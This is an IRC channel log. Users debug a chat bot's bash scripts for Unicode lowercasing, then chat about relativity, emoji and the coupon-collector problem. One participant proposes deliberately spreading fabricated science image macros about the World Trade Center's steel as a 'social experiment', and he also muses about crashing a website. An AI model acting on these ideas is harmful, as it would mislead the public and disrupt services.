01:17:52 <HackEgo> ​++ source bin/wisdom $'\303\230rjan' \ ++++ shuf -z -n1 \ +++++ lowercase \ +++++ echo $'\303\230rjan' \ ++++ find wisdom -path 'wisdom/*ørjan*' -type f -print0 \ +++ F=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ +++ cat $'wisdom/\303\270rjan' \ ørjan//Ørjan is oerjan's good twin. He's banned in the IR
01:18:00 <oerjan> hm? of course it does...
01:18:15 <izabera> no, just changing that stupid byte will do
01:18:35 <oerjan> yes, but won't that break on _other_ characters containing the same byte...
01:19:19 <oerjan> `cat bin/?
01:19:20 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl;
01:19:32 <oerjan> i'm wondering why Å worked...
01:19:43 <oerjan> oh it didn't
01:19:49 <oerjan> they're separate entries.
01:20:17 <izabera> `` echo sed 's/./\l&/g' > bin/lowercase
01:20:18 <oerjan> now _that's_ insane. wisdom actually depends on Å _not_ being lowercased.
01:20:21 <HackEgo> No output.
01:20:25 <izabera> `wisdom Ørjan
01:20:28 <HackEgo> ​/hackenv/bin/lowercase: line 1: /g: No such file or directory \ sed: -e expression #1, char 5: unterminated `s' command \ d-module//D-modules are just modules over the ring of differential operators. Taneb invented them.
01:20:37 <izabera> what
01:20:42 -!- augur has joined.
01:20:44 <izabera> `cat bin/lowercase
01:20:46 <HackEgo> sed s/./\l&/g
01:20:49 <izabera> oh
01:20:52 <izabera> i'm dumb
01:20:59 <izabera> `` echo "sed 's/./\l&/g'" > bin/lowercase
01:21:02 <izabera> `wisdom Ørjan
01:21:05 <HackEgo> No output.
01:21:06 <HackEgo> ​//cat: : No such file or directory
01:21:17 <izabera> ok
01:21:18 -!- moon__ has quit (Remote host closed the connection).
01:21:30 <izabera> `` echo "sed 's/./\l&/g;s/Ø/ø/g'" > bin/lowercase
01:21:32 <izabera> `wisdom Ørjan
01:21:33 <HackEgo> No output.
01:21:35 <HackEgo> ​//cat: : No such file or directory
01:21:39 <izabera> whaaa
01:21:59 <izabera> `` lowercase <<< Ørjan
01:22:00 <HackEgo> ​ørjan
01:22:06 <izabera> this works
01:22:12 <shachaf> You ought to just use mk and sled
01:22:17 <izabera> shush
01:22:45 <izabera> `` set -x; source bin/wisdom Ørjan
01:22:48 <HackEgo> ​++ source bin/wisdom $'\303\230rjan' \ ++++ shuf -z -n1 \ +++++ lowercase \ +++++ echo $'\303\230rjan' \ ++++ find wisdom -path 'wisdom/*ørjan*' -type f -print0 \ +++ F=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ +++ cat $'wisdom/\303\270rjan' \ ørjan//Ørjan is oerjan's good twin. He's banned in the IR
01:22:54 <izabera> but why
01:22:58 <oerjan> izabera is too proficient at bash to use HackEgo safely
01:22:58 <izabera> `` cat bin/wisdom
01:22:59 <HackEgo> F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooooooodl; cat "$F" | rnoooooooodl
01:24:00 <oerjan> `wisdom Ørjan
01:24:03 <HackEgo> ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
01:24:05 <oerjan> `wisdom Ørjan
01:24:07 <HackEgo> ​//cat: : No such file or directory
01:24:15 <oerjan> final space
01:24:19 <izabera> fuck
01:24:42 <oerjan> hm i think `? has a precaution against that
01:24:45 <oerjan> `cat bin/?
01:24:46 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl;
01:25:15 <izabera> `` find wisdom -ipath "wisdom/*Ørjan*" -type f
01:25:19 <HackEgo> wisdom/ørjan
01:25:27 <oerjan> heh
01:25:50 <oerjan> oh. maybe that's good enough.
01:26:06 <izabera> `` echo 'f="$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooooooodl; rnoooooooodl < "$f"' > bin/wisdom
01:26:08 * oerjan leaves izabera to it
01:26:10 <HackEgo> No output.
01:26:13 <izabera> `wisdom Ørjan
01:26:15 <HackEgo> ​/hackenv/bin/wisdom: line 1: unexpected EOF while looking for matching `"' \ /hackenv/bin/wisdom: line 2: syntax error: unexpected end of file
01:26:24 <izabera> `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooooooodl; rnoooooooodl < "$f"' > bin/wisdom
01:26:26 <izabera> `wisdom Ørjan
01:26:27 <HackEgo> No output.
01:26:28 <HackEgo> ​/hackenv/bin/wisdom: line 1: rnooooooodl: command not found \ /hackenv/bin/wisdom: line 1: : No such file or directory
01:26:33 <oerjan> oh.
01:26:43 -!- iaglium has joined.
01:26:47 <oerjan> it had to happen some time.
01:26:53 <izabera> this is not my fault
01:26:56 <oerjan> indeed
01:27:00 <izabera> `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnoooodl < "$f"' > bin/wisdom
01:27:02 <izabera> this is not my fault
01:27:05 <HackEgo> No output.
01:27:05 <izabera> `wisdom Ørjan
01:27:07 <HackEgo> ​///hackenv/bin/wisdom: line 1: : No such file or directory
01:27:26 <izabera> HOW MANY FUCKING O'S
01:27:52 <izabera> `` type rnoodl
01:27:55 <HackEgo> ​/hackenv/bin/`: line 4: type: rnoodl: not found
01:28:01 <oerjan> `` ls bin/rno*
01:28:02 <izabera> `` type rnooodl
01:28:04 <izabera> `` type rnoooodl
01:28:07 <oerjan> oh wait
01:28:09 <HackEgo> bin/rnoooodl
01:28:13 <oerjan> `run ls bin/rno*
01:28:14 <HackEgo> rnooooooooodl is /hackenv/bin/rnoooooodl
01:28:15 <HackEgo> ​/hackenv/bin/`: line 4: type: rnoooodl: not found
01:28:17 <HackEgo> bin/rnooodl
01:28:22 <oerjan> izabera: 3 hth
01:28:31 <izabera> `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnoooodl; rnoooodl < "$f"' > bin/wisdom
01:28:35 <HackEgo> No output.
01:28:37 <shachaf> You should just pipe the whole thing into one rnooodl
01:28:37 <izabera> `wisdom Ørjan
01:28:37 <oerjan> protip: `run is the only one which doesn't apply it.
01:28:40 <HackEgo> ​/hackenv/bin/wisdom: line 1: rnoooodl: command not found \ /hackenv/bin/wisdom: line 1: : No such file or directory
01:28:50 <shachaf> (echo -n ...; cat ...) | rnooodl
01:28:50 <izabera> `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"' > bin/wisdom
01:28:54 <HackEgo> No output.
01:29:03 <izabera> shachaf: NOT NOW FFS
01:29:09 <izabera> `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"' > bin/wisdom
01:29:10 <HackEgo> No output.
01:29:11 <izabera> `wisdom Ørjan
01:29:13 <HackEgo> ​///hackenv/bin/wisdom: line 1: : No such file or directory
01:29:24 <izabera> `` set -x; source bin/wisdom Ørjan
01:29:25 <HackEgo> ​++ source bin/wisdom $'\303\230rjan' \ ++++ find wisdom -ipath 'wisdom/*Ørjan*' -type f -print0 \ ++++ shuf -z -n1 \ +++ f=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without not
01:29:40 <izabera> wait what? now it worked?
01:30:04 <izabera> `` set -x; source bin/wisdom Ørjan
01:30:06 <HackEgo> ​++ source bin/wisdom $'\303\230rjan' \ ++++ find wisdom -ipath 'wisdom/*Ørjan*' -type f -print0 \ ++++ shuf -z -n1 \ +++ f=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without not
01:30:06 <izabera> `` set -x; source bin/wisdom Ørjan
01:30:08 <HackEgo> ​++ source bin/wisdom $'\303\230rjan' \ ++++ find wisdom -ipath 'wisdom/*Ørjan*' -type f -print0 \ ++++ shuf -z -n1 \ +++ f=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without not
01:30:19 <izabera> `wisdom Ørjan
01:30:22 <HackEgo> ​///hackenv/bin/wisdom: line 1: : No such file or directory
01:30:26 <izabera> `` bin/wisdom Ørjan
01:30:30 <HackEgo> ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
01:30:41 <oerjan> `wisdom Ørjan
01:30:42 <HackEgo> ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
01:30:47 <oerjan> izabera: trailing space, i said
01:30:51 <izabera> oh
01:30:54 <izabera> fuck that
01:30:58 <oerjan> yeah
01:31:06 <izabera> so this works now
01:31:12 <oerjan> `wisdom å
01:31:14 <HackEgo> ​Å//Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters.
01:31:20 <oerjan> yay
01:31:28 <izabera> `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); { echo -n "${f#wisdom/}//"; cat "$f"; } | rnooodl' > bin/wisdom
01:31:29 <oerjan> `wisdom å
01:31:31 <HackEgo> No output.
01:31:32 <izabera> `wisdom Ørjan
01:31:32 <HackEgo> ​å//å is the same letter as Å, unless you're HackEgo and don't understand things on top of letters.
01:31:35 <HackEgo> cat: : No such file or directory \ //
01:31:46 <izabera> `wisdom Ørjan
01:31:48 <HackEgo> cat: : No such file or directory \ //
01:31:50 <shachaf> ẘhat
01:31:56 <oerjan> `wisdom Ørjan
01:31:57 <izabera> how do i type this fucking thing without a trailing space
01:31:59 <HackEgo> ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
01:32:16 <izabera> why is my stupid client adding a trailing space in the first place
01:32:21 <izabera> `wisdom Ørjan
01:32:22 <HackEgo> ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
01:32:47 <oerjan> i dunno. in other cases it usually happens due to nick completion.
01:33:28 <oerjan> `hog wisdom/å
01:33:31 <HackEgo> ​<oerjan> learn \xc3\xa5 is the same letter as \xc3\x85, unless you\'re HackEgo and don\'t understand things on top of letters.
01:33:56 <izabera> `` cat bin/hog
01:33:57 <HackEgo> hg log --template "{desc}\n" -- "$@"
01:34:27 <izabera> `` grep -r lowercase bin
01:34:34 <HackEgo> bin/learn:topic=$(echo "$1" | lowercase | sed 's/^\(an\?\|the\) //;s/s\?[:;,.!?]\? .*//') \ bin/learn_append2:topic=$(echo "$1" | lowercase | sed 's/^\(an\?\|the\) //;s/s\? .*//')
01:34:44 <shachaf> whoa whoa whoa
01:34:48 <shachaf> learn is sacred
01:34:51 <izabera> `` grep -rl lowercase bin
01:34:53 <HackEgo> bin/learn \ bin/learn_append2 \ bin/mislearn \ bin/slashlearn \ bin/learn_append \ bin/multicode \ bin/? \ bin/gs2.py \ bin/bookofeso \ bin/tomfoolery \ bin/units
01:35:03 <shachaf> `? to
01:35:05 <HackEgo> to? ¯\(°​_o)/¯
01:35:09 <oerjan> izabera: there are also some in le/
01:35:17 <oerjan> `` grep -r lowercase le
01:35:18 <HackEgo> le/rn_append:topic=$(echo "$1" | lowercase | cut -d / -f 1)
01:35:52 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
01:36:08 <izabera> `` cat 'bin/``'
01:36:09 <HackEgo> ​#!/bin/sh \ export LANG=C; exec bash -O extglob -c "$@" | rnooodl
01:36:10 <oerjan> izabera: also, as i've been trying to point out, there's a wisdom entry that depends on Å _not_ being affected by lowercase
01:36:14 <izabera> `` cat 'bin/``'
01:36:17 <izabera> `` cat 'bin/`'
01:36:19 <HackEgo> ​#!/bin/sh \ export LANG=C; exec bash -O extglob -c "$@" | rnoooodl
01:36:20 <HackEgo> ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooooooodl
01:37:10 <izabera> why would it depend on a character being broken
01:37:14 <oerjan> shachaf: i fear that soon learn will be massacred
01:37:25 <oerjan> izabera: because there's one entry for å and one for Å
01:37:43 <shachaf> [0] days since oerjan last punned
01:40:21 <boily> quote from wikipédia: “libidinal energy being subjected to relentless sublimation under capitalism”. tdnh.
01:40:54 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
01:41:15 <shachaf> ẃíḱíṕéd́íá
01:41:59 <boily> ẃíḱíṕe̋ḋíá hth
01:42:07 <quintopia> helloily wb
01:42:13 <oerjan> boily: is that freudian marxism
01:42:49 <quintopia> i can say that capitalism has had little effect on my libido
01:43:30 <oerjan> quintopia: that's just because you don't take advantage of all the viagra offers tdnh
01:43:35 <quintopia> i think work energy and libidinal energy are separate magisteria
01:43:45 <quintopia> oerjan: they're phishing attempts
01:44:03 <oerjan> phiendish
01:45:07 <boily> phausible.
01:45:19 <shachaf> help
01:45:23 <shachaf> what is the meaning of thausible
01:45:25 <oerjan> shachaf: phroblem?
01:45:31 <boily> `? thausiblee
01:45:32 <HackEgo> A thausiblee is the recipient of a thausible action.
01:45:40 <oerjan> `? thausible
01:45:41 <HackEgo> thausible? ¯\(°​_o)/¯
01:46:01 <oerjan> `learn A thausible action is one commited toward a thausiblee.
01:46:06 <HackEgo> Learned 'thausible': A thausible action is one commited toward a thausiblee.
01:46:20 <boily> another wikipédian quote: “ temporal, historical, and ontological disjunction in which the ostensible immediacy of presence is replaced by "the figure of the ghost as that which is neither present, nor absent, neither dead nor alive."”
01:46:28 <oerjan> um
01:46:34 <oerjan> `learn A thausible action is one committed toward a thausiblee.
01:46:38 <HackEgo> Relearned 'thausible': A thausible action is one committed toward a thausiblee.
01:47:02 <oerjan> `? action
01:47:03 <HackEgo> action? ¯\(°​_o)/¯
01:47:42 <shachaf> Oh.
01:47:49 <shachaf> 15:56:36: <int-e> FireFly: plausible, thanks
01:47:51 <oerjan> `learn An action should always have an equal and opposite reaction, whenever thausible.
01:47:54 <HackEgo> Learned 'action': An action should always have an equal and opposite reaction, whenever thausible.
01:47:55 <shachaf> I don't knw why you made me logread that.
01:47:59 <shachaf> It was underwhelming.
01:48:29 <boily> quintopia: what are magisteria, if I may enquire?
01:48:42 <oerjan> shachaf: we'll try to be more whelming in the future.
01:48:50 <shachaf> `card-by-name whelming
01:48:55 <HackEgo> Whelming Wave \ 2UU \ Sorcery \ Return all creatures to their owners' hands except for Krakens, Leviathans, Octopuses, and Serpents. \ BNG-R, DDO-R
01:49:11 <quintopia> oerjan: thausible actions are temporal, historical, and plausible hth
01:49:57 <quintopia> boily: like science and religion
01:51:49 <boily> oh.
01:52:31 <quintopia> https://en.wikipedia.org/wiki/Non-overlapping_magisteria twh
01:56:08 <quintopia> so maybe a better word would be energitropia...
01:56:20 <quintopia> minus the r
01:56:33 <oerjan> wat
01:56:36 <quintopia> well
01:56:39 <quintopia> that's dumb
01:57:39 <quintopia> non-overlapping industridominia
02:01:04 <quintopia> byeoily
02:05:29 <boily> bonnuitopia!
02:09:48 <zzo38> Another idea of new keyword ability of Magic: the Gathering would be, while this object is on the stack, no other spells/abilities can target anything that this spell/ability targets. As a part of this object's resolution, all of this spell/ability's targets become sheltered. Any player, object, or zone which is sheltered cannot be targeted. As a state-based action, all sheltered players/objects/zones become unsheltered if the stack is empty and t
02:10:24 <shachaf> Your message was cut off.
02:11:23 <zzo38> if the stack is empty and there are no pending triggers.
02:29:31 -!- Etaoin has quit (Quit: BOOM).
02:35:50 -!- boily has quit (Quit: GREENHOUSE CHICKEN).
02:41:40 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
02:56:18 -!- hppavilion[1] has joined.
02:57:17 <hppavilion[1]> Pawbable claws: Police can enter your house on the grounds that they have reason to believe there's an adorable kitty inside that they want to snuggle with
02:58:39 -!- sebbu has quit (Ping timeout: 264 seconds).
03:04:03 <hppavilion[1]> @massages-groud
03:04:03 <lambdabot> Unknown command, try @list
03:04:11 <hppavilion[1]> @massages-loug
03:04:11 <lambdabot> boily said 15h 19m 55s ago: hppavellon[1]. ¡!.
03:06:04 <hppavilion[1]> @ask boily ...how did you know about that? I sent that exact message to a friend via Hangouts literally 7 minutes ago. ⸘who are you‽
03:06:04 <lambdabot> Consider it noted.
03:07:04 -!- bauen1 has joined.
03:12:05 -!- copumpkin has joined.
03:12:36 <hppavilion[1]> twyndyllyngs
03:13:09 -!- bauen1 has quit (Ping timeout: 246 seconds).
03:44:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
04:03:44 -!- Sprocklem has joined.
04:40:15 -!- hppavilion[1] has joined.
04:46:21 -!- Kaynato has quit (Ping timeout: 250 seconds).
04:52:05 <hppavilion[1]> Are there any ways to exploit Relativity to make legally difficult situations?
04:52:22 <hppavilion[1]> e.g. exploiting simultaneity so that you commit a crime from some points of view but not from others?
04:52:34 <hppavilion[1]> s/points of view/reference frames/
04:52:53 <shachaf> you might get a speeding ticket hth
04:53:43 <hppavilion[1]> shachaf: Yes, but you're unambiguously speeding if you're traveling at relativistic speeds even from your- wait, that doesn't work, does it?
04:54:06 -!- sebbu has joined.
04:54:25 <hppavilion[1]> Hm, maybe we should change speeding laws from "It's illegal to drive faster than the posted limits" to "It's illegal to cause your surroundings to move faster than the posted limits while driving"
04:54:32 <hppavilion[1]> `? speeding
04:55:10 <HackEgo> speeding? ¯\(°​_o)/¯
04:55:15 <hppavilion[1]> Oh, I suppose the easiest way to exploit relativity is using the twin paradox to mess with the age of consent
05:25:29 -!- bb010g has joined.
05:49:13 -!- bauen1 has joined.
05:53:31 -!- bauen1 has quit (Ping timeout: 250 seconds).
06:10:34 -!- bauen1 has joined.
06:13:58 -!- augur has quit (Remote host closed the connection).
06:43:56 -!- lambda-11235 has joined.
07:48:55 <\oren\> hppavilion[1]: the courts will clear it up
07:51:00 -!- augur has joined.
07:52:39 -!- Sprocklem has quit (Ping timeout: 264 seconds).
08:27:26 -!- Akaibu has quit (Quit: Connection closed for inactivity).
08:27:58 -!- oerjan has quit (Quit: Nîte).
08:32:14 <hppavilion[1]> "If you came across a genie and it granted you one wish, what would you wish for?" (Peace on earth. |
08:32:14 <hppavilion[1]> A bajillion dollars. | Success and happiness for my family and friends. | To look young forever.)
08:33:17 <hppavilion[1]> I'm pretty sure if I have a bajillion dollars I can bring peace on earth, and if I look young forever I can use my eternal youthfulness to get money from other people with ridiculous products and schams
08:37:52 <int-e> Dollars just would become worthless quite quickly.
08:38:20 <int-e> And the third wish is the one where you end up in a glass coffin.
08:38:42 -!- Akaibu has joined.
08:40:15 <int-e> of course the first one might be the one that sets time back by a billion years or two.
08:42:32 <int-e> So, to summarize, the options are: Destroy Earth. | Destroy USD based economy. | Success and happiness for my family and friends. | Die young.
08:48:40 -!- AnotherTest has joined.
08:53:00 -!- AnotherTest has quit (Ping timeout: 246 seconds).
08:57:43 <hppavilion[1]> If I were to bring Einstein from the past to the present, would that qualify as irony?
08:58:19 <hppavilion[1]> At first I thought it would, because relativity is the thing that really, physically prohibits time travel (I'm looking at you, tachyonic antiteleiPhone)
08:58:32 <hppavilion[1]> However, I don't think that that includes a rule about bringing someone from the past to the present
09:09:05 <hppavilion[1]> I forget, am I supposed to hate Sir Isaac Newton? The internet probably has a rule about this, but I don't remember it
09:13:42 -!- lambda-11235 has quit (Quit: Bye).
09:14:32 -!- augur has quit (Remote host closed the connection).
09:25:41 <hppavilion[1]> I literally looked up what the most boring government agency is
09:25:47 <hppavilion[1]> Bureau of Land Management
09:25:51 <hppavilion[1]> Sure enough, there are memes about it
09:25:59 <hppavilion[1]> (Mostly regarding blacklivesmatter though)
09:37:08 <myname> https://hassciencegonetoofar.com/sriracha-2-go-review-solved-an-unthinkable-problem-see-how/
09:37:11 <myname> omg
09:42:55 <hppavilion[1]> "The server crashes if the user's password is a resolvable URL"
09:43:08 <hppavilion[1]> I'm scared to open the explainxkcd page because it might be a reference to a real bug
09:43:18 <myname> :D
09:43:58 <b_jonas> `wisdom
09:44:54 <HackEgo> imagine//Imagine was the only song not interrupted after two stanzas on the opening ceremony of the 2012 London Olympic Games, a calm moment in an otherwise chaotic rush through fifty pop songs.
09:45:38 <b_jonas> hppavilion[1]: I don't think it's a reference to one particular bug, just a whole class of bugs. Like, you know, those that just interpolate a user-submitted password into an SQL statement literally. Or those that compare passwords with a php operator that converts strings to numbers if they start with a digit, so "1foobar" == "1quux"
09:46:18 <myname> also, username user
09:47:11 <shachaf> `culprits wisdom/imagine
09:47:17 <hppavilion[1]> I just discovered something
09:47:29 <HackEgo> b_jonas
09:47:31 <shachaf> `? universe
09:47:40 <HackEgo> A universe is a poem in one stanza.
09:47:42 <hppavilion[1]> If you enter <emoji>.com in firefox, it converts to some sort of unicode name that could be a resolvable url
09:47:44 <shachaf> I guess there were many universes in that ceremony.
09:47:52 <hppavilion[1]> So you could have a domain name with an emoji name
09:48:00 <b_jonas> hppavilion[1]: but there have been cases when stuff have tried to resolve URLs in untrusted documents and download them, most importantly the ones where an XML reader read an external thingy that supposedly contained XML entity definitions required for decoding XML.
09:48:12 <myname> hppavilion[1]: punycode is no firefox thing
09:48:16 <myname> it's a standard
09:48:18 <hppavilion[1]> myname: Well yeah
09:48:19 -!- pikhq has quit (Ping timeout: 260 seconds).
09:48:30 <hppavilion[1]> myname: I didn't say it was JUST a firefox thing
09:48:40 <hppavilion[1]> myname: I meant that firefox was by test group
09:48:41 <b_jonas> Then there's certain thumbnail-makers that ran viruses in documents when you just looked at the list of files with icons and thumbnails.
09:48:45 <hppavilion[1]> N=firefox
09:48:55 <hppavilion[1]> Wow, unicode has a "Reversed hand with middle finger raised" emoji
09:48:58 <hppavilion[1]> That's surprising
09:49:02 -!- Phantom_Hoover has joined.
09:49:05 <myname> old news
09:50:25 <hppavilion[1]> N=firefox
09:51:34 <hppavilion[1]> myname: Oh really? I bet skin tone emoji are old news too, aren't they
09:51:50 <hppavilion[1]> And "Love Hotel"
09:52:23 <myname> middle finger and skin tones went through media a lot
09:52:26 <hppavilion[1]> And you've already heard that unicode is going to include small images originating in Japan as characters even
09:52:57 <hppavilion[1]> And there's a group emerging called the "Unicode Consortium" that aims to make a single unified character set- but you knew that already, didn't you?
09:53:34 <hppavilion[1]> 🖕🏻
09:53:47 <myname> unicode included small images originated in japan since years
09:53:55 <myname> pile of poo is an example.of that
09:54:17 -!- Sprocklem has joined.
09:59:59 -!- pikhq has joined.
10:09:48 -!- bb010g has quit (Quit: Connection closed for inactivity).
10:18:39 -!- spockers has quit (Remote host closed the connection).
10:19:06 -!- spockers has joined.
10:43:54 -!- moon_ has quit (Ping timeout: 276 seconds).
10:59:42 <hppavilion[1]> myname: And of course you already know about the eye and shirt color emoji modifiers?
11:04:10 <asie> hppavilion[1]: I checked the explainxkcd, it's *not* a reference
11:04:12 <asie> (thankfully)
11:04:29 <hppavilion[1]> Hm, looking for a list of major modern human cultures
11:19:08 <hppavilion[1]> Here's an idea for a scientific experiment...
11:21:01 <hppavilion[1]> Take a collection of modern pop music- selected by some objective metric (perhaps a preliminary experiment?) that excludes blatantly autotuned music and anything targeted at teenage girls- then doctor it to sound like an older song in terms of sound quality and play it for old people (40s, 50s) and see what they think
11:21:48 <hppavilion[1]> In comparison to little-known-but-mainstream music from the same time period that the main group is targeted for
11:24:32 <hppavilion[1]> https://www.youtube.com/watch?v=VdQY7BusJNU AKA The Induction Song
11:24:38 <hppavilion[1]> `? induction
11:24:52 <HackEgo> induction? ¯\(°​_o)/¯
11:33:38 -!- boily has joined.
11:35:41 -!- MoALTz has joined.
11:44:54 <hppavilion[1]> Ugh, it's annoying that there isn't a central database of airplane wing masses for various models
11:46:42 -!- iaglium has quit (Quit: Bed Time).
11:57:26 -!- Akaibu has quit (Quit: Connection closed for inactivity).
12:14:53 <hppavilion[1]> ahoily.
12:14:59 <hppavilion[1]> I just thought of a little social experiment I want to do
12:15:47 <hppavilion[1]> See if people share image macros explaining science that most people don't care about which reinforce their political viewpoints
12:15:58 <hppavilion[1]> (Spoiler: They do)
12:17:07 <hppavilion[1]> Basically, counter the "JET FUEL CAN'T MELT STEEL BEAMS" people with bullshit science regarding the construction of the WTC that claims that the steel used in the towers contained certain intentionally-added impurities that made it stronger, but also lowered its melting point
12:17:30 <hppavilion[1]> Now, I'm not a 9/11 conspiracy theorist or anything
12:17:33 <hppavilion[1]> But it'd be interesting to see
12:17:40 <hppavilion[1]> Maybe I'll even get on snopes =D
12:19:14 <boily> hppavellon[1]!
12:20:07 <boily> https://en.wikipedia.org/wiki/Phase_diagram#/media/File:Brosen_ironcarbon.svg ← you can use this
12:20:13 <boily> @massages-loud
12:20:13 <lambdabot> hppavilion[1] asked 9h 14m 8s ago: ...how did you know about that? I sent that exact message to a friend via Hangouts literally 7 minutes ago. ⸘who are you‽
12:20:28 <boily> how did I know what?
12:25:07 <hppavilion[1]> <lambdabot> boily said 15h 19m 55s ago: hppavellon[1]. ¡!.
12:25:42 <boily> I didn't know. I was punctubalancing. I'm a renowned Capitalist hth.
12:28:38 -!- boily has quit (Quit: ACTION CHICKEN).
13:00:49 <hppavilion[1]> Ha! If you google "\"Kilometers to pounds\"", you get links to sites that offer conversion because they don't really limit themselves
13:01:39 <hppavilion[1]> I wonder if I can crash a site with this...
13:16:13 <hppavilion[1]> Hm, I just had a rather entertaining idea for a story
13:16:38 <hppavilion[1]> It's like... 15% fanfiction, and the rest is original content
13:16:45 <hppavilion[1]> Basically, take all the major fandoms
13:16:52 <hppavilion[1]> And have them wage an all-out war
13:17:15 <hppavilion[1]> Each one forced to adhere to the rules of their own universe, while having access to their universe's technology
13:18:47 <hppavilion[1]> (For example, the Whovians have access to TARDi, sonic screwdrivers/shades/trowels, and psychic paper; Star Wars fans (aka good human beings) control spacecraft, blasters, lightsabres, and have a motherfucking deathstar at some point; bronies... well, they're basically the Swiss)
13:36:51 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
13:43:37 -!- spiette has joined.
13:45:14 -!- spiette has quit (Excess Flood).
13:45:39 -!- spiette has joined.
14:00:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
14:09:18 -!- LKoen has joined.
14:09:50 -!- hppavilion[1] has joined.
14:14:03 <hppavilion[1]> I just did some simulations, and if you were to make a 100 piece puzzle and allow people to purchase
14:14:32 <hppavilion[1]> ...pieces individually and at random- that is, they purchase a piece but don't know which piece it is out of the set
14:14:51 <hppavilion[1]> They would, on average, need to purchase 479.7 pieces to get a full puzzle
14:14:54 <hppavilion[1]> (N=10)
14:24:38 -!- gniourf has quit (Read error: Connection reset by peer).
14:25:11 <b_jonas> hppavilion[1]: don't you mean 518.7 pieces on average?
14:25:31 <hppavilion[1]> b_jonas: ...did you do your own simulation?
14:25:52 <b_jonas> hppavilion[1]: not this time. but it's a well-known problem called the coupon-collector problem, right?
14:26:09 <LKoen> he didn't do the simulation, he knows the numbers by heart
14:26:16 <b_jonas> https://en.wikipedia.org/wiki/Coupon_collector%27s_problem
14:26:17 <hppavilion[1]> b_jonas: Because I have the patent rights to individualized jigsaw puzzle piece purchase simulation. You owe me $180,000
14:26:34 <hppavilion[1]> http://www.drunkmenworkhere.org/170 hurts my brain
14:26:36 <b_jonas> hppavilion[1]: when's the patent from?
14:26:45 <b_jonas> hppavilion[1]: I'm bet it's invalid because there's prior art
14:27:22 <hppavilion[1]> b_jonas: That's never bothered the US patent office before
14:27:28 <hppavilion[1]> At least, where software is concerned
14:27:56 <b_jonas> hppavilion[1]: besides, the number is totally unrealistic in practice, it only works for insanely stupid distributors where each piece is equally likely and the individual pieces you buy are independent
14:28:26 <hppavilion[1]> b_jonas: Well how wouldn't they be independent?
14:28:39 <hppavilion[1]> b_jonas: And, I suppose, we assume no one forms a coalition to trade pieces
14:28:47 <b_jonas> hppavilion[1]: real-world distributors simply have one or two of the pieces inaccessible, or skew them so you only get a random among the first 90 pieces from booster packs shipped to the West Coast, and 90 other pieces from booster packs to the East Coast
14:29:13 <b_jonas> hppavilion[1]: if you just omit a single piece from the packs, then nobody can complete the puzzle, but they have to buy a lot of packs till they can prove you're doing that
14:29:31 <b_jonas> omitting a piece completely from everywhere is a dumb way, it gets you tarred and feathered
